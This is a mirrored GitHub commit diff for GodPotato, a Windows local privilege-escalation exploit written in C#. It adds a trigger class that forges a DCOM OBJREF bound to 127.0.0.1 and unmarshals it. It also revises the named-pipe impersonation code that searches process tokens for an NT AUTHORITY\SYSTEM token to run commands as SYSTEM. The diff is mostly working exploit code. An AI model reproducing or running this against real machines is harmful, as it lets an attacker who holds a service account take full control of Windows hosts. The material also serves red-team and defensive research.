mirror of
https://github.com/BeichenDream/GodPotato
synced 2026-06-21 13:41:53 +00:00
update unmarshal method
This commit is contained in:
@@ -2,7 +2,6 @@
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Text;
|
||||
|
||||
namespace GodPotato
|
||||
{
|
||||
|
||||
+3
-6
@@ -40,14 +40,11 @@
|
||||
<ItemGroup>
|
||||
<Compile Include="ArgsParse.cs" />
|
||||
<Compile Include="NativeAPI\GodPotatoContext.cs" />
|
||||
<Compile Include="NativeAPI\GodPotatoStorageTrigger.cs" />
|
||||
<Compile Include="NativeAPI\IEnumSTATSTG.cs" />
|
||||
<Compile Include="NativeAPI\ILockBytes.cs" />
|
||||
<Compile Include="NativeAPI\IMarshal.cs" />
|
||||
<Compile Include="NativeAPI\IStorage.cs" />
|
||||
<Compile Include="NativeAPI\IStream.cs" />
|
||||
<Compile Include="NativeAPI\GodPotatoUnmarshalTrigger.cs" />
|
||||
<Compile Include="NativeAPI\IStreamImpl.cs" />
|
||||
<Compile Include="NativeAPI\NativeMethods.cs" />
|
||||
<Compile Include="NativeAPI\ObjRef.cs" />
|
||||
<Compile Include="NativeAPI\UnmarshalDCOM.cs" />
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="SharpToken.cs" />
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Release|AnyCPU'">
|
||||
<StartArguments>-cmd whoami</StartArguments>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|AnyCPU'">
|
||||
<StartArguments>-cmd whoami</StartArguments>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
@@ -2,10 +2,8 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using static GodPotato.NativeAPI.NativeMethods;
|
||||
|
||||
@@ -25,8 +23,8 @@ namespace GodPotato.NativeAPI
|
||||
private IntPtr procString = IntPtr.Zero;
|
||||
private Delegate useProtseqDelegate;
|
||||
private WindowsIdentity systemIdentity;
|
||||
private TextWriter ConsoleWriter;
|
||||
private Thread pipeServerThread;
|
||||
public TextWriter ConsoleWriter { get; private set; }
|
||||
public string PipeName { get; set; }
|
||||
public bool IsStart { get; private set; }
|
||||
public bool IsHook { get; private set; }
|
||||
@@ -123,32 +121,42 @@ namespace GodPotato.NativeAPI
|
||||
pipeServerHandle = CreateNamedPipe(serverPipe, NativeMethods.PIPE_ACCESS_DUPLEX, NativeMethods.PIPE_TYPE_BYTE | NativeMethods.PIPE_READMODE_BYTE | NativeMethods.PIPE_WAIT, NativeMethods.PIPE_UNLIMITED_INSTANCES, 521, 0, 123, ref securityAttributes);
|
||||
|
||||
ConsoleWriter.WriteLine("[*] CreateNamedPipe " + serverPipe);
|
||||
if (pipeServerHandle != NativeMethods.BAD_HANLE)
|
||||
if (pipeServerHandle != BAD_HANLE)
|
||||
{
|
||||
|
||||
if (ConnectNamedPipe(pipeServerHandle, IntPtr.Zero))
|
||||
{
|
||||
if (NativeMethods.ImpersonateNamedPipeClient(pipeServerHandle))
|
||||
ConsoleWriter.WriteLine("[*] Pipe Connected!");
|
||||
if (ImpersonateNamedPipeClient(pipeServerHandle))
|
||||
{
|
||||
systemIdentity = WindowsIdentity.GetCurrent();
|
||||
if (systemIdentity.ImpersonationLevel <= TokenImpersonationLevel.Identification)
|
||||
{
|
||||
RevertToSelf();
|
||||
}
|
||||
|
||||
ConsoleWriter.WriteLine("[*] CurrentUser: " + systemIdentity.Name);
|
||||
ConsoleWriter.WriteLine("[*] CurrentsImpersonationLevel: " + systemIdentity.ImpersonationLevel);
|
||||
|
||||
ConsoleWriter.WriteLine("[*] Start Search System Token");
|
||||
|
||||
bool isFindSystemToken = false;
|
||||
|
||||
SharpToken.TokenuUils.ListProcessTokens(-1, processToken => {
|
||||
if (processToken.UserName == "NT AUTHORITY\\SYSTEM" && processToken.ImpersonationLevel >= TokenImpersonationLevel.Impersonation && processToken.IntegrityLevel >= SharpToken.IntegrityLevel.SystemIntegrity)
|
||||
{
|
||||
systemIdentity = new WindowsIdentity(processToken.TokenHandle);
|
||||
ConsoleWriter.WriteLine("[*] PID : {0} Token:0x{1:x} User: {2} ImpersonationLevel: {3}", processToken.TargetProcessId, processToken.TargetProcessToken, processToken.UserName, processToken.ImpersonationLevel);
|
||||
isFindSystemToken = true;
|
||||
if (systemIdentity.ImpersonationLevel >= TokenImpersonationLevel.Impersonation)
|
||||
{
|
||||
SharpToken.TokenuUils.ListProcessTokens(-1, processToken => {
|
||||
if (processToken.UserName == "NT AUTHORITY\\SYSTEM" && processToken.ImpersonationLevel >= TokenImpersonationLevel.Impersonation && processToken.IntegrityLevel >= SharpToken.IntegrityLevel.SystemIntegrity)
|
||||
{
|
||||
systemIdentity = new WindowsIdentity(processToken.TokenHandle);
|
||||
ConsoleWriter.WriteLine("[*] PID : {0} Token:0x{1:x} User: {2} ImpersonationLevel: {3}", processToken.TargetProcessId, processToken.TargetProcessToken, processToken.UserName, processToken.ImpersonationLevel);
|
||||
isFindSystemToken = true;
|
||||
processToken.Close();
|
||||
return false;
|
||||
}
|
||||
processToken.Close();
|
||||
return false;
|
||||
}
|
||||
processToken.Close();
|
||||
return true;
|
||||
});
|
||||
return true;
|
||||
});
|
||||
}
|
||||
|
||||
ConsoleWriter.WriteLine("[*] Find System Token : " + isFindSystemToken);
|
||||
|
||||
@@ -176,9 +184,9 @@ namespace GodPotato.NativeAPI
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (pipeServerHandle != NativeMethods.BAD_HANLE)
|
||||
if (pipeServerHandle != BAD_HANLE)
|
||||
{
|
||||
NativeMethods.CloseHandle(pipeServerHandle);
|
||||
CloseHandle(pipeServerHandle);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,147 +0,0 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.InteropServices.ComTypes;
|
||||
using GodPotato.NativeAPI;
|
||||
|
||||
namespace GodPotato.NativeAPI{
|
||||
|
||||
|
||||
|
||||
[ComVisible(true)]
|
||||
public class GodPotatoStorageTrigger : IMarshal, IStorage {
|
||||
private readonly static Guid IID_IUnknown = new Guid("{00000000-0000-0000-C000-000000000046}");
|
||||
private readonly static string binding = "127.0.0.1";
|
||||
private readonly static TowerProtocol towerProtocol = TowerProtocol.EPM_PROTOCOL_TCP;
|
||||
|
||||
|
||||
public readonly static object fakeObject = new object();
|
||||
public static IntPtr pIUnknown;
|
||||
public static IBindCtx bindCtx;
|
||||
public static IMoniker moniker;
|
||||
|
||||
|
||||
private IStorage storage;
|
||||
private GodPotatoContext godPotatoContext;
|
||||
|
||||
|
||||
public GodPotatoStorageTrigger(IStorage storage, GodPotatoContext godPotatoContext) {
|
||||
this.storage = storage;
|
||||
this.godPotatoContext = godPotatoContext;
|
||||
|
||||
|
||||
if (!godPotatoContext.IsStart)
|
||||
{
|
||||
throw new Exception("GodPotatoContext was not initialized");
|
||||
}
|
||||
|
||||
if (pIUnknown == IntPtr.Zero)
|
||||
{
|
||||
pIUnknown = Marshal.GetIUnknownForObject(fakeObject);
|
||||
}
|
||||
|
||||
if (bindCtx == null)
|
||||
{
|
||||
NativeMethods.CreateBindCtx(0, out bindCtx);
|
||||
}
|
||||
|
||||
if (moniker == null)
|
||||
{
|
||||
NativeMethods.CreateObjrefMoniker(pIUnknown, out moniker);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public void DisconnectObject(uint dwReserved) {
|
||||
}
|
||||
|
||||
public void GetMarshalSizeMax(ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint MSHLFLAGS, out uint pSize) {
|
||||
pSize = 1024;
|
||||
}
|
||||
|
||||
public void GetUnmarshalClass(ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint MSHLFLAGS, out Guid pCid) {
|
||||
pCid = new Guid("00000306-0000-0000-c000-000000000046");
|
||||
}
|
||||
|
||||
public void MarshalInterface(GodPotato.NativeAPI.IStream pstm, ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint MSHLFLAGS) {
|
||||
string ppszDisplayName;
|
||||
moniker.GetDisplayName(bindCtx, null, out ppszDisplayName);
|
||||
ppszDisplayName = ppszDisplayName.Replace("objref:", "").Replace(":", "");
|
||||
byte[] objrefBytes = Convert.FromBase64String(ppszDisplayName);
|
||||
ObjRef tmpObjRef = new ObjRef(objrefBytes);
|
||||
ObjRef objRef = new ObjRef(IID_IUnknown,
|
||||
new ObjRef.Standard(0, 1, tmpObjRef.StandardObjRef.OXID, tmpObjRef.StandardObjRef.OID, tmpObjRef.StandardObjRef.IPID,
|
||||
new ObjRef.DualStringArray(new ObjRef.StringBinding(towerProtocol, binding), new ObjRef.SecurityBinding(0xa, 0xffff, null))));
|
||||
uint written;
|
||||
byte[] data = objRef.GetBytes();
|
||||
pstm.Write(data, (uint)data.Length, out written);
|
||||
}
|
||||
|
||||
public void ReleaseMarshalData(GodPotato.NativeAPI.IStream pstm) {
|
||||
}
|
||||
|
||||
public void UnmarshalInterface(GodPotato.NativeAPI.IStream pstm, ref Guid riid, out IntPtr ppv) {
|
||||
ppv = IntPtr.Zero;
|
||||
}
|
||||
|
||||
public void Commit(uint grfCommitFlags) {
|
||||
storage.Commit(grfCommitFlags);
|
||||
}
|
||||
|
||||
public void CopyTo(uint ciidExclude, Guid[] rgiidExclude, IntPtr snbExclude, IStorage pstgDest) {
|
||||
storage.CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest);
|
||||
}
|
||||
|
||||
public void CreateStorage(string pwcsName, uint grfMode, uint reserved1, uint reserved2, out IStorage ppstg) {
|
||||
storage.CreateStorage(pwcsName, grfMode, reserved1, reserved2, out ppstg);
|
||||
}
|
||||
|
||||
public void CreateStream(string pwcsName, uint grfMode, uint reserved1, uint reserved2, out GodPotato.NativeAPI.IStream ppstm) {
|
||||
storage.CreateStream(pwcsName, grfMode, reserved1, reserved2, out ppstm);
|
||||
}
|
||||
|
||||
public void DestroyElement(string pwcsName) {
|
||||
storage.DestroyElement(pwcsName);
|
||||
}
|
||||
|
||||
public void EnumElements(uint reserved1, IntPtr reserved2, uint reserved3, out IEnumSTATSTG ppEnum) {
|
||||
storage.EnumElements(reserved1, reserved2, reserved3, out ppEnum);
|
||||
}
|
||||
|
||||
public void MoveElementTo(string pwcsName, IStorage pstgDest, string pwcsNewName, uint grfFlags) {
|
||||
storage.MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags);
|
||||
}
|
||||
|
||||
public void OpenStorage(string pwcsName, IStorage pstgPriority, uint grfMode, IntPtr snbExclude, uint reserved, out IStorage ppstg) {
|
||||
storage.OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, out ppstg);
|
||||
}
|
||||
|
||||
public void OpenStream(string pwcsName, IntPtr reserved1, uint grfMode, uint reserved2, out GodPotato.NativeAPI.IStream ppstm) {
|
||||
storage.OpenStream(pwcsName, reserved1, grfMode, reserved2, out ppstm);
|
||||
}
|
||||
|
||||
public void RenameElement(string pwcsOldName, string pwcsNewName) {
|
||||
|
||||
}
|
||||
|
||||
public void Revert() {
|
||||
|
||||
}
|
||||
|
||||
public void SetClass(ref Guid clsid) {
|
||||
|
||||
}
|
||||
|
||||
public void SetElementTimes(string pwcsName, System.Runtime.InteropServices.FILETIME[] pctime, System.Runtime.InteropServices.FILETIME[] patime, System.Runtime.InteropServices.FILETIME[] pmtime) {
|
||||
|
||||
}
|
||||
|
||||
public void SetStateBits(uint grfStateBits, uint grfMask) {
|
||||
}
|
||||
|
||||
public void Stat(System.Runtime.InteropServices.STATSTG[] pstatstg, uint grfStatFlag) {
|
||||
storage.Stat(pstatstg, grfStatFlag);
|
||||
pstatstg[0].pwcsName = "godpotato.stg";
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.InteropServices.ComTypes;
|
||||
|
||||
namespace GodPotato.NativeAPI{
|
||||
|
||||
[ComVisible(true)]
|
||||
public class GodPotatoUnmarshalTrigger {
|
||||
private readonly static Guid IID_IUnknown = new Guid("{00000000-0000-0000-C000-000000000046}");
|
||||
private readonly static string binding = "127.0.0.1";
|
||||
private readonly static TowerProtocol towerProtocol = TowerProtocol.EPM_PROTOCOL_TCP;
|
||||
|
||||
|
||||
public readonly static object fakeObject = new object();
|
||||
public static IntPtr pIUnknown;
|
||||
public static IBindCtx bindCtx;
|
||||
public static IMoniker moniker;
|
||||
|
||||
private GodPotatoContext godPotatoContext;
|
||||
|
||||
|
||||
public GodPotatoUnmarshalTrigger(GodPotatoContext godPotatoContext) {
|
||||
this.godPotatoContext = godPotatoContext;
|
||||
|
||||
|
||||
if (!godPotatoContext.IsStart)
|
||||
{
|
||||
throw new Exception("GodPotatoContext was not initialized");
|
||||
}
|
||||
|
||||
if (pIUnknown == IntPtr.Zero)
|
||||
{
|
||||
pIUnknown = Marshal.GetIUnknownForObject(fakeObject);
|
||||
}
|
||||
|
||||
if (bindCtx == null)
|
||||
{
|
||||
NativeMethods.CreateBindCtx(0, out bindCtx);
|
||||
}
|
||||
|
||||
if (moniker == null)
|
||||
{
|
||||
NativeMethods.CreateObjrefMoniker(pIUnknown, out moniker);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
public int Trigger() {
|
||||
|
||||
string ppszDisplayName;
|
||||
moniker.GetDisplayName(bindCtx, null, out ppszDisplayName);
|
||||
ppszDisplayName = ppszDisplayName.Replace("objref:", "").Replace(":", "");
|
||||
byte[] objrefBytes = Convert.FromBase64String(ppszDisplayName);
|
||||
|
||||
ObjRef tmpObjRef = new ObjRef(objrefBytes);
|
||||
|
||||
godPotatoContext.ConsoleWriter.WriteLine($"[*] DCOM obj GUID: {tmpObjRef.Guid}");
|
||||
godPotatoContext.ConsoleWriter.WriteLine($"[*] DCOM obj IPID: {tmpObjRef.StandardObjRef.IPID}");
|
||||
godPotatoContext.ConsoleWriter.WriteLine("[*] DCOM obj OXID: 0x{0:x}", tmpObjRef.StandardObjRef.OXID);
|
||||
godPotatoContext.ConsoleWriter.WriteLine("[*] DCOM obj OID: 0x{0:x}", tmpObjRef.StandardObjRef.OID);
|
||||
godPotatoContext.ConsoleWriter.WriteLine("[*] DCOM obj Flags: 0x{0:x}", tmpObjRef.StandardObjRef.Flags);
|
||||
godPotatoContext.ConsoleWriter.WriteLine("[*] DCOM obj PublicRefs: 0x{0:x}", tmpObjRef.StandardObjRef.PublicRefs);
|
||||
|
||||
ObjRef objRef = new ObjRef(IID_IUnknown,
|
||||
new ObjRef.Standard(0, 1, tmpObjRef.StandardObjRef.OXID, tmpObjRef.StandardObjRef.OID, tmpObjRef.StandardObjRef.IPID,
|
||||
new ObjRef.DualStringArray(new ObjRef.StringBinding(towerProtocol, binding), new ObjRef.SecurityBinding(0xa, 0xffff, null))));
|
||||
byte[] data = objRef.GetBytes();
|
||||
|
||||
godPotatoContext.ConsoleWriter.WriteLine($"[*] Marshal Object bytes len: {data.Length}");
|
||||
|
||||
IntPtr ppv;
|
||||
|
||||
godPotatoContext.ConsoleWriter.WriteLine($"[*] UnMarshal Object");
|
||||
return UnmarshalDCOM.UnmarshalObject(data,out ppv);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
@@ -1,21 +0,0 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace GodPotato.NativeAPI{
|
||||
[ComImport]
|
||||
[Guid("0000000d-0000-0000-C000-000000000046")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
public interface IEnumSTATSTG {
|
||||
// The user needs to allocate an STATSTG array whose size is celt.
|
||||
[PreserveSig]
|
||||
uint
|
||||
Next(uint celt, [MarshalAs(UnmanagedType.LPArray), Out] STATSTG[] rgelt, out uint pceltFetched);
|
||||
|
||||
void Skip(uint celt);
|
||||
|
||||
void Reset();
|
||||
|
||||
[return: MarshalAs(UnmanagedType.Interface)]
|
||||
IEnumSTATSTG Clone();
|
||||
}
|
||||
}
|
||||
@@ -1,23 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace GodPotato.NativeAPI
|
||||
{
|
||||
[ComVisible(false)]
|
||||
[ComImport, InterfaceType(ComInterfaceType.InterfaceIsIUnknown), Guid("0000000A-0000-0000-C000-000000000046")]
|
||||
public interface ILockBytes
|
||||
{
|
||||
//Note: These two by(reference 32-bit integers (ULONG) could be used as return values instead,
|
||||
// but they are not tagged [retval] in the IDL, so for consitency's sake...
|
||||
void ReadAt(long ulOffset, System.IntPtr pv, int cb, out System.UInt32 pcbRead);
|
||||
void WriteAt(long ulOffset, System.IntPtr pv, int cb, out System.UInt32 pcbWritten);
|
||||
void Flush();
|
||||
void SetSize(long cb);
|
||||
void LockRegion(long libOffset, long cb, int dwLockType);
|
||||
void UnlockRegion(long libOffset, long cb, int dwLockType);
|
||||
void Stat(out System.Runtime.InteropServices.STATSTG pstatstg, int grfStatFlag);
|
||||
|
||||
}
|
||||
}
|
||||
@@ -1,22 +0,0 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using GodPotato.NativeAPI;
|
||||
|
||||
[ComImport]
|
||||
[Guid("00000003-0000-0000-C000-000000000046")]
|
||||
[InterfaceType(1)]
|
||||
[ComConversionLoss]
|
||||
public interface IMarshal
|
||||
{
|
||||
void GetUnmarshalClass([In] ref Guid riid, [In] IntPtr pv, [In] uint dwDestContext, [In] IntPtr pvDestContext, [In] uint MSHLFLAGS, out Guid pCid);
|
||||
|
||||
void GetMarshalSizeMax([In] ref Guid riid, [In] IntPtr pv, [In] uint dwDestContext, [In] IntPtr pvDestContext, [In] uint MSHLFLAGS, out uint pSize);
|
||||
|
||||
void MarshalInterface([In][MarshalAs(UnmanagedType.Interface)] IStream pstm, [In] ref Guid riid, [In] IntPtr pv, [In] uint dwDestContext, [In] IntPtr pvDestContext, [In] uint MSHLFLAGS);
|
||||
|
||||
void UnmarshalInterface([In][MarshalAs(UnmanagedType.Interface)] IStream pstm, [In] ref Guid riid, out IntPtr ppv);
|
||||
|
||||
void ReleaseMarshalData([In][MarshalAs(UnmanagedType.Interface)] IStream pstm);
|
||||
|
||||
void DisconnectObject([In] uint dwReserved);
|
||||
}
|
||||
@@ -1,40 +0,0 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using GodPotato.NativeAPI;
|
||||
|
||||
[ComImport]
|
||||
[InterfaceType(1)]
|
||||
[ComConversionLoss]
|
||||
[Guid("0000000B-0000-0000-C000-000000000046")]
|
||||
public interface IStorage
|
||||
{
|
||||
void CreateStream([In][MarshalAs(UnmanagedType.LPWStr)] string pwcsName, [In] uint grfMode, [In] uint reserved1, [In] uint reserved2, [MarshalAs(UnmanagedType.Interface)] out IStream ppstm);
|
||||
|
||||
void OpenStream([In][MarshalAs(UnmanagedType.LPWStr)] string pwcsName, [In] IntPtr reserved1, [In] uint grfMode, [In] uint reserved2, [MarshalAs(UnmanagedType.Interface)] out IStream ppstm);
|
||||
|
||||
void CreateStorage([In][MarshalAs(UnmanagedType.LPWStr)] string pwcsName, [In] uint grfMode, [In] uint reserved1, [In] uint reserved2, [MarshalAs(UnmanagedType.Interface)] out IStorage ppstg);
|
||||
|
||||
void OpenStorage([In][MarshalAs(UnmanagedType.LPWStr)] string pwcsName, [In][MarshalAs(UnmanagedType.Interface)] IStorage pstgPriority, [In] uint grfMode, [In] IntPtr snbExclude, [In] uint reserved, [MarshalAs(UnmanagedType.Interface)] out IStorage ppstg);
|
||||
|
||||
void CopyTo([In] uint ciidExclude, [In][MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 0)] Guid[] rgiidExclude, [In] IntPtr snbExclude, [In][MarshalAs(UnmanagedType.Interface)] IStorage pstgDest);
|
||||
|
||||
void MoveElementTo([In][MarshalAs(UnmanagedType.LPWStr)] string pwcsName, [In][MarshalAs(UnmanagedType.Interface)] IStorage pstgDest, [In][MarshalAs(UnmanagedType.LPWStr)] string pwcsNewName, [In] uint grfFlags);
|
||||
|
||||
void Commit([In] uint grfCommitFlags);
|
||||
|
||||
void Revert();
|
||||
|
||||
void EnumElements([In] uint reserved1, [In] IntPtr reserved2, [In] uint reserved3, [MarshalAs(UnmanagedType.Interface)] out IEnumSTATSTG ppEnum);
|
||||
|
||||
void DestroyElement([In][MarshalAs(UnmanagedType.LPWStr)] string pwcsName);
|
||||
|
||||
void RenameElement([In][MarshalAs(UnmanagedType.LPWStr)] string pwcsOldName, [In][MarshalAs(UnmanagedType.LPWStr)] string pwcsNewName);
|
||||
|
||||
void SetElementTimes([In][MarshalAs(UnmanagedType.LPWStr)] string pwcsName, [In][MarshalAs(UnmanagedType.LPArray)] FILETIME[] pctime, [In][MarshalAs(UnmanagedType.LPArray)] FILETIME[] patime, [In][MarshalAs(UnmanagedType.LPArray)] FILETIME[] pmtime);
|
||||
|
||||
void SetClass([In] ref Guid clsid);
|
||||
|
||||
void SetStateBits([In] uint grfStateBits, [In] uint grfMask);
|
||||
|
||||
void Stat([Out][MarshalAs(UnmanagedType.LPArray)] STATSTG[] pstatstg, [In] uint grfStatFlag);
|
||||
}
|
||||
@@ -1,20 +0,0 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace GodPotato.NativeAPI{
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
[ComImport, Guid("0000000c-0000-0000-C000-000000000046")]
|
||||
public interface IStream {
|
||||
void Read([Out, MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 1)] byte[] pv, uint cb, out uint pcbRead);
|
||||
void Write([MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 1)] byte[] pv, uint cb, out uint pcbWritten);
|
||||
void Seek(long dlibMove, uint dwOrigin, out long plibNewPosition);
|
||||
void SetSize(long libNewSize);
|
||||
void CopyTo(IStream pstm, long cb, out long pcbRead, out long pcbWritten);
|
||||
void Commit(uint grfCommitFlags);
|
||||
void Revert();
|
||||
void LockRegion(long libOffset, long cb, uint dwLockType);
|
||||
void UnlockRegion(long libOffset, long cb, uint dwLockType);
|
||||
void Stat(out STATSTG pstatstg, uint grfStatFlag);
|
||||
void Clone(out IStream ppstm);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,111 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.InteropServices.ComTypes;
|
||||
|
||||
namespace GodPotato.NativeAPI
|
||||
{
|
||||
public class IStreamImpl : IStream, IDisposable
|
||||
{
|
||||
private Stream m_stream;
|
||||
|
||||
public IStreamImpl(Stream stream)
|
||||
{
|
||||
m_stream = stream;
|
||||
}
|
||||
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
m_stream.Dispose();
|
||||
}
|
||||
|
||||
public void Close()
|
||||
{
|
||||
Dispose();
|
||||
}
|
||||
|
||||
public void Clone(out IStream pStm)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
|
||||
public void Stat(out System.Runtime.InteropServices.ComTypes.STATSTG statStg, int grfFlags)
|
||||
{
|
||||
statStg = new System.Runtime.InteropServices.ComTypes.STATSTG();
|
||||
statStg.cbSize = m_stream.Length;
|
||||
}
|
||||
|
||||
public void UnlockRegion(long libOffset, long cb, int dwLockType)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
|
||||
public void LockRegion(long libOffset, long cb, int dwLockType)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
|
||||
public void Revert()
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
|
||||
public void Commit(int grfCommitFlags)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
|
||||
public void CopyTo(IStream pstm, long cb, IntPtr pcbRead, IntPtr pcbWritten)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
|
||||
public void SetSize(long lSize)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
|
||||
public void Seek(long dlibMove, int dwOrigin, IntPtr plibNewPosition)
|
||||
{
|
||||
SeekOrigin origin;
|
||||
|
||||
switch (dwOrigin)
|
||||
{
|
||||
case 0:
|
||||
origin = SeekOrigin.Begin;
|
||||
break;
|
||||
case 1:
|
||||
origin = SeekOrigin.Current;
|
||||
break;
|
||||
case 2:
|
||||
origin = SeekOrigin.End;
|
||||
break;
|
||||
default: throw new ArgumentException();
|
||||
}
|
||||
m_stream.Seek(dlibMove, origin);
|
||||
if (plibNewPosition != IntPtr.Zero)
|
||||
{
|
||||
Marshal.WriteInt64(plibNewPosition, m_stream.Position);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(byte[] pv, int cb, IntPtr pcbRead)
|
||||
{
|
||||
int readCount = m_stream.Read(pv, 0, cb);
|
||||
if (pcbRead != IntPtr.Zero)
|
||||
{
|
||||
Marshal.WriteInt32(pcbRead, readCount);
|
||||
}
|
||||
}
|
||||
|
||||
public void Write(byte[] pv, int cb, IntPtr pcbWritten)
|
||||
{
|
||||
m_stream.Write(pv, 0, cb);
|
||||
if (pcbWritten != IntPtr.Zero)
|
||||
{
|
||||
Marshal.WriteInt32(pcbWritten, cb);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -89,42 +89,9 @@ namespace GodPotato.NativeAPI
|
||||
public static readonly int PIPE_ACCESS_DUPLEX = 0x00000003;
|
||||
|
||||
|
||||
public static Guid IUnknownGuid = new Guid("00000000-0000-0000-C000-000000000046");
|
||||
public static Guid IID_IPersistFile = new Guid("0000010b-0000-0000-C000-000000000046");
|
||||
|
||||
public static Dictionary<Guid,IntPtr> IIDPTR = new Dictionary<Guid,IntPtr>();
|
||||
|
||||
[Flags]
|
||||
public enum CLSCTX : uint
|
||||
{
|
||||
INPROC_SERVER = 0x1,
|
||||
INPROC_HANDLER = 0x2,
|
||||
LOCAL_SERVER = 0x4,
|
||||
INPROC_SERVER16 = 0x8,
|
||||
REMOTE_SERVER = 0x10,
|
||||
INPROC_HANDLER16 = 0x20,
|
||||
RESERVED1 = 0x40,
|
||||
RESERVED2 = 0x80,
|
||||
RESERVED3 = 0x100,
|
||||
RESERVED4 = 0x200,
|
||||
NO_CODE_DOWNLOAD = 0x400,
|
||||
RESERVED5 = 0x800,
|
||||
NO_CUSTOM_MARSHAL = 0x1000,
|
||||
ENABLE_CODE_DOWNLOAD = 0x2000,
|
||||
NO_FAILURE_LOG = 0x4000,
|
||||
DISABLE_AAA = 0x8000,
|
||||
ENABLE_AAA = 0x10000,
|
||||
FROM_DEFAULT_CONTEXT = 0x20000,
|
||||
ACTIVATE_32_BIT_SERVER = 0x40000,
|
||||
ACTIVATE_64_BIT_SERVER = 0x80000,
|
||||
ENABLE_CLOAKING = 0x100000,
|
||||
APPCONTAINER = 0x400000,
|
||||
ACTIVATE_AAA_AS_IU = 0x800000,
|
||||
ACTIVATE_NATIVE_SERVER = 0x1000000,
|
||||
ACTIVATE_ARM32_SERVER = 0x2000000,
|
||||
PS_DLL = 0x80000000,
|
||||
SERVER = INPROC_SERVER | LOCAL_SERVER | REMOTE_SERVER,
|
||||
ALL = INPROC_SERVER | INPROC_HANDLER | LOCAL_SERVER | REMOTE_SERVER
|
||||
}
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SECURITY_ATTRIBUTES
|
||||
{
|
||||
@@ -134,25 +101,6 @@ namespace GodPotato.NativeAPI
|
||||
}
|
||||
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct MULTI_QI
|
||||
{
|
||||
public IntPtr pIID;
|
||||
[MarshalAs(UnmanagedType.Interface)]
|
||||
public object pItf;
|
||||
public int hr;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public class COSERVERINFO
|
||||
{
|
||||
public uint dwReserved1;
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
public string pwszName;
|
||||
public IntPtr pAuthInfo;
|
||||
public uint dwReserved2;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct RPC_VERSION
|
||||
{
|
||||
@@ -210,12 +158,7 @@ namespace GodPotato.NativeAPI
|
||||
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern bool VirtualProtect(
|
||||
[In] IntPtr pBlock,
|
||||
[In] uint size,
|
||||
[In] uint newProtect,
|
||||
[Out] out uint oldProtect
|
||||
);
|
||||
public static extern bool VirtualProtect([In] IntPtr pBlock,[In] uint size,[In] uint newProtect,[Out] out uint oldProtect);
|
||||
[DllImport("Advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
internal static extern bool ConvertStringSecurityDescriptorToSecurityDescriptor(string StringSecurityDescriptor, uint StringSDRevision, out IntPtr SecurityDescriptor, out uint SecurityDescriptorSize);
|
||||
|
||||
@@ -232,42 +175,13 @@ namespace GodPotato.NativeAPI
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
